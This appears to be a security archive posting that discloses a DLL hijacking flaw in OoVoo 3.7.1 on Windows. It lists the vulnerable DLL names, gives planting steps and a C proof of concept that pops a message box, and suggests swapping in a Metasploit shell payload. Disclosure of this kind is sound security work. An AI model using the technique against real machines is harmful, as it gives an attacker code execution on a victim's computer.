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OoVoo 3.7.1 DLL Hijacking

OoVoo 3.7.1 DLL Hijacking
Posted Sep 9, 2016
Authored by Amir.ght

OoVoo version 3.7.1 suffers from a DLL hijacking vulnerability.

tags | exploit
systems | windows
MD5 | 6bb99a96fdea3c3161038663e113dd91

OoVoo 3.7.1 DLL Hijacking

Change Mirror Download
# Exploit Title: OoVoo DLL Hijacking
# Author: Ashiyane Digital Security Team
# Vendor Homepage:http://www.oovoo.com/
# Version: 3.7.1
# Tested on:Windows 7
----------------------------------------------------------------------------------------------------------
vulnerable DLLs :
ext-ms-win-kernel32-package-current-l1-1-0.dll
api-ms-win-appmodel-runtime-l1-1-1.dll
api-ms-win-core-sysinfo-l1-2-1.dll
api-ms-win-core-localization-l1-2-1.dll
api-ms-win-core-fibers-l1-1-1.dll
api-ms-win-core-synch-l1-2-0.dll
ext-ms-win-kernel32-package-current-l1-1-0.dll

If an attacker can place the malicious dll with any names of above
series in same location
with Oovoo.exe where victim open Oovoo.exe it will load and run the
attackers DLL
and code.
also can generate a msfpayload DLL and spawn a shell, for example.

----------------------------------------------------------------------------------------------------------
# Exploit:
1- Save and compile below C code to create vuln DLL

2- Place vuln DLL on Same Directory of Oovoo.exe

3- Open Oovoo.exe

//gcc test.c -o shcore.dll -shared
//this dll show a message box
#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
dll_hijack();
return 0;
}

int dll_hijack()
{
MessageBox(0, "DLL Hijacking!", "DLL Message", MB_OK);
return 0;
}
#################
Discovered By : Amir.ght
#################

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